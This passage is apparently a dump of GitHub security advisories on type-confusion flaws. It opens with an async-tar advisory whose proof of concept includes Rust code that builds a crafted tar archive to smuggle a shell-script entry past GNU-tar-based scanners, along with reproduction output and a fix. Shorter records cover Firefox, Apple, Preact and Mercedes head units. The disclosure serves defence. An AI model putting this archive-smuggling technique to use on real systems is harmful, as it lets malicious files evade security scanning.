(B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: \u0026mut [u8], v: u64) {\n let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n let b = s.as_bytes();\n buf[..b.len()].copy_from_slice(b);\n buf[b.len()] = 0;\n}\n\nfn header(name: \u0026[u8], size: u64, typeflag: u8) -\u003e [u8; BLOCK] {\n let mut h = [0u8; BLOCK];\n let n = name.len().min(100);\n h[..n].copy_from_slice(\u0026name[..n]);\n octal(\u0026mut h[100..108], 0o644);\n octal(\u0026mut h[108..116], 0);\n octal(\u0026mut h[116..124], 0);\n octal(\u0026mut h[124..136], size);\n octal(\u0026mut h[136..148], 0);\n h[156] = typeflag;\n if typeflag == b\u0027L\u0027 { h[257..265].copy_from_slice(b\"ustar \\0\"); }\n else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n for b in \u0026mut h[148..156] { *b = b\u0027 \u0027; }\n let sum: u32 = h.iter().map(|b| *b as u32).sum();\n h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n h\n}\n\nfn pad(out: \u0026mut Vec\u003cu8\u003e, len: usize) {\n let rem = len % BLOCK;\n if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: \u0026str, val: \u0026str) -\u003e Vec\u003cu8\u003e {\n let mut len = key.len() + val.len() + 3;\n loop {\n let s = format!(\"{} {}={}\\n\", len, key, val);\n if s.len() == len { return s.into_bytes(); }\n len = s.len();\n }\n}\nfn name_block(name: \u0026[u8]) -\u003e Vec\u003cu8\u003e { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: \u0026mut Vec\u003cu8\u003e, data: \u0026[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -\u003e Vec\u003cu8\u003e {\n let mut out = Vec::new();\n let gnu_name = b\"GNU_SEES_THIS.txt\";\n let spoof = (BLOCK * 2) as u64;\n let mut recs = Vec::new();\n recs.extend(pax_record(\"size\", \u0026spoof.to_string()));\n out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b\u0027x\u0027));\n write_block(\u0026mut out, \u0026recs);\n out.extend_from_slice(\u0026header(b\"././@LongLink\", BLOCK as u64, b\u0027L\u0027));\n out.extend_from_slice(\u0026name_block(gnu_name)); // B3\n out.extend_from_slice(\u0026header(b\"placeholder_A\", BLOCK as u64, b\u00270\u0027)); // B4\n let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n out.extend_from_slice(\u0026header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b\u00270\u0027)); // B5\n write_block(\u0026mut out, \u0026smuggled_body); // B6\n out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n out\n}\n\nfn build_benign() -\u003e Vec\u003cu8\u003e {\n let mut out = Vec::new();\n let mut recs = Vec::new();\n recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b\u0027x\u0027));\n write_block(\u0026mut out, \u0026recs);\n let body = b\"plain benign content\\n\".to_vec();\n out.extend_from_slice(\u0026header(b\"normal_file.txt\", body.len() as u64, b\u00270\u0027));\n write_block(\u0026mut out, \u0026body);\n let body2 = b\"second benign file\\n\".to_vec();\n out.extend_from_slice(\u0026header(b\"second.txt\", body2.len() as u64, b\u00270\u0027));\n write_block(\u0026mut out, \u0026body2);\n out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n out\n}\n\nfn main() {\n let a: Vec\u003cString\u003e = std::env::args().collect();\n let bytes = match a[1].as_str() { \"malicious\" =\u003e build_malicious(), \"benign\" =\u003e build_benign(), _ =\u003e std::process::exit(2) };\n std::fs::File::create(\u0026a[2]).unwrap().write_all(\u0026bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n let args: Vec\u003cString\u003e = std::env::args().collect();\n let dest = std::path::PathBuf::from(\u0026args[2]);\n fs::create_dir_all(\u0026dest).await.unwrap();\n let bytes = fs::read(\u0026args[1]).await.unwrap();\n let archive = Archive::new(std::io::Cursor::new(bytes));\n let mut entries = archive.entries().expect(\"entries()\");\n let mut idx = 0usize;\n while let Some(entry) = entries.next().await {\n let mut file = match entry { Ok(f) =\u003e f, Err(e) =\u003e { println!(\"[async-tar] ERROR: {e}\"); break } };\n let path_raw = file.path().expect(\"path\").into_owned();\n let path_disp = path_raw.to_string_lossy().split(\u0027\\u{0}\u0027).next().unwrap_or(\"\").to_string();\n let hdr_size = file.header().size().unwrap_or(0);\n let mut out = dest.clone();\n for comp in std::path::PathBuf::from(\u0026path_disp).components() {\n if let std::path::Component::Normal(p) = comp { out.push(p); }\n }\n let mut body = Vec::new();\n let read = file.read_to_end(\u0026mut body).await.unwrap_or(0);\n if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n let _ = fs::write(\u0026out, \u0026body).await;\n let preview: String = body.iter().take(48)\n .map(|b| if b.is_ascii_graphic() || *b == b\u0027 \u0027 { *b as char } else { \u0027.\u0027 }).collect();\n println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n idx += 1;\n }\n println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release # links async-tar v0.6.0 from crates.io\n Compiling async-tar v0.6.0\n Compiling async-tar-consumer v0.1.0\n Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n# bytes of B5 \u2014 a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control \u2014 a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x \u2192 L \u2192 file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n // when pax extensions are available, the size should come from there.\n let mut size = header.entry_size()?;\n\n // PAX extensions describe the NEXT file entry, not an intermediary\n // extension header. Applying a buffered PAX `size` to such an intermediary\n // header (L/K/x/g) advances the stream cursor by the wrong amount and\n // desyncs the parse.\n let entry_type = header.entry_type();\n let is_extension_header = entry_type.is_gnu_longname()\n || entry_type.is_gnu_longlink()\n || entry_type.is_pax_local_extensions()\n || entry_type.is_pax_global_extensions();\n\n // the size above will be overriden by the pax data if it has a size field.\n // same for uid and gid, which will be overridden in the header itself.\n if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n let pax = pax_extensions(pax_extensions_data);\n for extension in pax {\n // unchanged: same size/uid/gid override loop as before\n }\n }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n Compiling async-tar v0.6.0 (.../async-tar-patched)\n Compiling async-tar-consumer v0.1.0\n Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`\u0027s view converges with GNU tar\u0027s: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory\u0027s temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-35rm-7j9c-2f7m",
"modified": "2026-07-08T20:24:12Z",
"published": "2026-07-08T20:24:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m"
},
{
"type": "PACKAGE",
"url": "https://github.com/dignifiedquire/async-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "async-tar PAX extension-header desync enables tar entry/content smuggling"
}
GHSA-364V-7WGJ-4R69
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-10 15:31JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability affects Firefox < 146 and Firefox ESR < 140.6.
{
"affected": [],
"aliases": [
"CVE-2025-14325"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:17:40Z",
"severity": "HIGH"
},
"details": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability affects Firefox \u003c 146 and Firefox ESR \u003c 140.6.",
"id": "GHSA-364v-7wgj-4r69",
"modified": "2025-12-10T15:31:22Z",
"published": "2025-12-09T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14325"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1998050"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-92"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-94"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-95"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-96"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-36H7-C8F4-VC3P
Vulnerability from github – Published: 2026-05-11 21:31 – Updated: 2026-05-12 18:30A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-28983"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-11T21:18:58Z",
"severity": "HIGH"
},
"details": "A type confusion issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. A remote attacker may be able to cause a denial of service.",
"id": "GHSA-36h7-c8f4-vc3p",
"modified": "2026-05-12T18:30:36Z",
"published": "2026-05-11T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28983"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127110"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127111"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127115"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127118"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127119"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/127120"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-36HM-QXXP-PG3M
Vulnerability from github – Published: 2026-01-07 19:28 – Updated: 2026-01-08 21:19Impact
Vulnerability Type: HTML Injection via JSON Type Confusion
Affected Versions: Preact 10.26.5 through 10.28.1
Severity: Low to Medium (see below)
Who is Impacted?
Applications using affected Preact versions are vulnerable if they meet all of the following conditions:
- Pass unmodified, unsanitized values from user-modifiable data sources (APIs, databases, local storage, etc.) directly into the render tree
- Assume these values are strings but the data source could return actual JavaScript objects instead of JSON strings
- The data source either:
- Fails to perform type sanitization AND blindly stores/returns raw objects interchangeably with strings, OR
- Is compromised (e.g., poisoned local storage, filesystem, or database)
Technical Details
Preact includes JSON serialization protection to prevent Virtual DOM elements from being constructed from arbitrary JSON. A regression introduced in Preact 10.26.5 caused this protection to be softened. In applications where values from JSON payloads are assumed to be strings and passed unmodified to Preact as children, a specially-crafted JSON payload could be constructed that would be incorrectly treated as a valid VNode. When this chain of failures occurs it can result in HTML injection, which can allow arbitrary script execution if not mitigated by CSP or other means.
Important Notes:
- This regression was never present in preact-render-to-string
- This is primarily an "expanded attack surface" issue rather than a standalone vulnerability
- Exploitation requires either insecure API design (no type validation) or a compromised data source
Patches
Patched Versions: - 10.26.10 (for 10.26.x users) - 10.27.3 (for 10.27.x users) - 10.28.2 (for 10.28.x users)
Users should upgrade to the latest patch version of whatever minor version they are on, which can be done via npm update preact or by installing one of the above versions directly.
The patch versions simply restore the previous strict equality checks that prevent JSON-parsed objects from being treated as valid VNodes.
Mitigations
If you cannot upgrade immediately, implement the following mitigations:
- Validate input types: Don't accept arbitrary objects as inputs in your API and blindly store them. Enforce strict type contracts at API boundaries.
- Cast or validate network data: Don't assume strings are strings if your code got them from the network. Always cast to the expected type or validate before rendering.
- Sanitize external data: Validate that data from external sources (APIs, storage, databases) matches expected types before passing it to preact.
- Use Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution as a defense-in-depth measure.
References
- Reporter: YoungGeun Choi
- Affected Versions: 10.26.5 - 10.28.1
- Patched Versions: 10.26.10, 10.27.3, 10.28.2
Credits
Preact thanks YoungGeun Choi (Xvezda) for the responsible disclosure of this vulnerability and for providing detailed reproduction steps and proof-of-concept demonstrations.
Timeline
- 2026-01-04: Initial vulnerability report received
- 2026-01-05: Clarification requested regarding network/serialization boundary
- 2026-01-06: Network PoC provided demonstrating real-world exploitatibility
- 2026-01-06: Hotfix patches released (10.26.10, 10.27.3, 10.28.2)
Recommendation: All users of Preact 10.26.5 through 10.28.1 should upgrade to the appropriate patched version (10.26.10, 10.27.3, or 10.28.2) as soon as possible, and review their applications for proper input validation and sanitization practices.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "preact"
},
"ranges": [
{
"events": [
{
"introduced": "10.26.5"
},
{
"fixed": "10.26.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "preact"
},
"ranges": [
{
"events": [
{
"introduced": "10.27.0"
},
{
"fixed": "10.27.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "preact"
},
"ranges": [
{
"events": [
{
"introduced": "10.28.0"
},
{
"fixed": "10.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22028"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T19:28:15Z",
"nvd_published_at": "2026-01-08T15:15:44Z",
"severity": "HIGH"
},
"details": "## Impact\n\n**Vulnerability Type:** HTML Injection via JSON Type Confusion\n\n**Affected Versions:** Preact 10.26.5 through 10.28.1\n\n**Severity:** Low to Medium (see below)\n\n### Who is Impacted?\n\nApplications using affected Preact versions are vulnerable if they meet **all** of the following conditions:\n\n1. **Pass unmodified, unsanitized values** from user-modifiable data sources (APIs, databases, local storage, etc.) directly into the render tree\n2. **Assume these values are strings** but the data source could return actual JavaScript objects instead of JSON strings\n3. The data source either:\n - Fails to perform type sanitization **AND** blindly stores/returns raw objects interchangeably with strings, OR\n - Is compromised (e.g., poisoned local storage, filesystem, or database)\n\n### Technical Details\n\nPreact includes JSON serialization protection to prevent Virtual DOM elements from being constructed from arbitrary JSON. A regression introduced in Preact 10.26.5 caused this protection to be softened. In applications where values from JSON payloads are assumed to be strings and passed unmodified to Preact as children, a specially-crafted JSON payload could be constructed that would be incorrectly treated as a valid VNode. When this chain of failures occurs it can result in HTML injection, which can allow arbitrary script execution if not mitigated by CSP or other means.\n\n**Important Notes:**\n- This regression was never present in `preact-render-to-string`\n- This is primarily an \"expanded attack surface\" issue rather than a standalone vulnerability\n- Exploitation requires either insecure API design (no type validation) or a compromised data source\n\n## Patches\n\n**Patched Versions:**\n- **10.26.10** (for 10.26.x users)\n- **10.27.3** (for 10.27.x users)\n- **10.28.2** (for 10.28.x users)\n\nUsers should upgrade to the latest patch version of whatever minor version they are on, which can be done via `npm update preact` or by installing one of the above versions directly.\n\nThe patch versions simply restore the previous strict equality checks that prevent JSON-parsed objects from being treated as valid VNodes.\n\n## Mitigations\n\nIf you cannot upgrade immediately, implement the following mitigations:\n\n- **Validate input types:** Don\u0027t accept arbitrary objects as inputs in your API and blindly store them. Enforce strict type contracts at API boundaries.\n- **Cast or validate network data:** Don\u0027t assume strings are strings if your code got them from the network. Always cast to the expected type or validate before rendering.\n- **Sanitize external data:** Validate that data from external sources (APIs, storage, databases) matches expected types before passing it to preact.\n- **Use Content Security Policy (CSP):** Implement a strict CSP to prevent inline script execution as a defense-in-depth measure.\n\n## References\n\n- **Reporter:** [YoungGeun Choi](https://github.com/Xvezda)\n- **Affected Versions:** 10.26.5 - 10.28.1\n- **Patched Versions:** 10.26.10, 10.27.3, 10.28.2\n\n## Credits\n\nPreact thanks **YoungGeun Choi (Xvezda)** for the responsible disclosure of this vulnerability and for providing detailed reproduction steps and proof-of-concept demonstrations.\n\n## Timeline\n\n- **2026-01-04:** Initial vulnerability report received\n- **2026-01-05:** Clarification requested regarding network/serialization boundary\n- **2026-01-06:** Network PoC provided demonstrating real-world exploitatibility\n- **2026-01-06:** Hotfix patches released (10.26.10, 10.27.3, 10.28.2)\n\n---\n\n**Recommendation:** All users of Preact 10.26.5 through 10.28.1 should upgrade to the appropriate patched version (10.26.10, 10.27.3, or 10.28.2) as soon as possible, and review their applications for proper input validation and sanitization practices.",
"id": "GHSA-36hm-qxxp-pg3m",
"modified": "2026-01-08T21:19:13Z",
"published": "2026-01-07T19:28:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/preactjs/preact/security/advisories/GHSA-36hm-qxxp-pg3m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22028"
},
{
"type": "PACKAGE",
"url": "https://github.com/preactjs/preact"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Preact has JSON VNode Injection issue"
}
GHSA-37RG-82P6-6G3X
Vulnerability from github – Published: 2025-02-14 00:30 – Updated: 2025-02-14 21:31An issue was discovered in Mercedes Benz NTG (New Telematics Generation) 6. A possible type confusion exists in the user data import/export function of NTG 6 head units. To perform this attack, local access to the USB interface of the car is needed. With prepared data, an attacker can cause the User-Data service to fail. The failed service instance will restart automatically.
{
"affected": [],
"aliases": [
"CVE-2024-37603"
],
"database_specific": {
"cwe_ids": [
"CWE-843"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-13T23:15:10Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Mercedes Benz NTG (New Telematics Generation) 6. A possible type confusion exists in the user data import/export function of NTG 6 head units. To perform this attack, local access to the USB interface of the car is needed. With prepared data, an attacker can cause the User-Data service to fail. The failed service instance will restart automatically.",
"id": "GHSA-37rg-82p6-6g3x",
"modified": "2025-02-14T21:31:04Z",
"published": "2025-02-14T00:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37603"
},
{
"type": "WEB",
"url": "https://securelist.com/mercedes-benz-head-unit-security-research/115218"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.